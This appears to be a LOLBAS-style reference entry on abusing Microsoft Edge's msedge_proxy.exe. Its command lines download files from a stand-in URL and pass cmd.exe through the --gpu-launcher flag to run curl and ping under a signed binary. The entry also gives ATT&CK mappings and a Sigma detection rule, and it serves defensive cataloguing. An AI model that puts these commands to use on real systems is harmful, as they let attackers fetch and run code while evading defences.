



# /msedge\_proxy.exe ☆ Star 7,060

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Microsoft Edge Browser

**Paths:**  
C:\Program Files (x86)\Microsoft\Edge\Application\msedge\_proxy.exe

**Acknowledgements:**

- Mert Daş (@merterpreter)

**Detections:**

- Sigma: [proc\\_creation\\_win\\_susp\\_electron\\_execution\\_proxy.yml](#)

## Download

- msedge\_proxy will download malicious file.

```
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe http://example.com/test.zip
```

**Use case:** Download file from the internet  
**Privileges required:** User  
**Operating systems:** Windows 10, Windows 11  
**ATT&CK® technique:** [T1105: Ingress Tool Transfer](#)

- Edge will silently download the file.

```
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher="C:\\Windows\\System32\\cmd.exe /c curl ipinfo.io/json --output %USERPROFILE%\\Desktop\\test.json &&"
```

**Use case:** Download file from the internet  
**Privileges required:** User  
**Operating systems:** Windows 10, Windows 11  
**ATT&CK® technique:** [T1105: Ingress Tool Transfer](#)

## Execute

msedge\_proxy.exe will execute file in the background

```
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher="C:\\Windows\\System32\\cmd.exe /c ping google.com &&"
```

**Use case:** Executes a process under a trusted Microsoft signed binary  
**Privileges required:** User  
**Operating systems:** Windows 10, Windows 11  
**ATT&CK® technique:** [T1218.015: Electron Applications](#)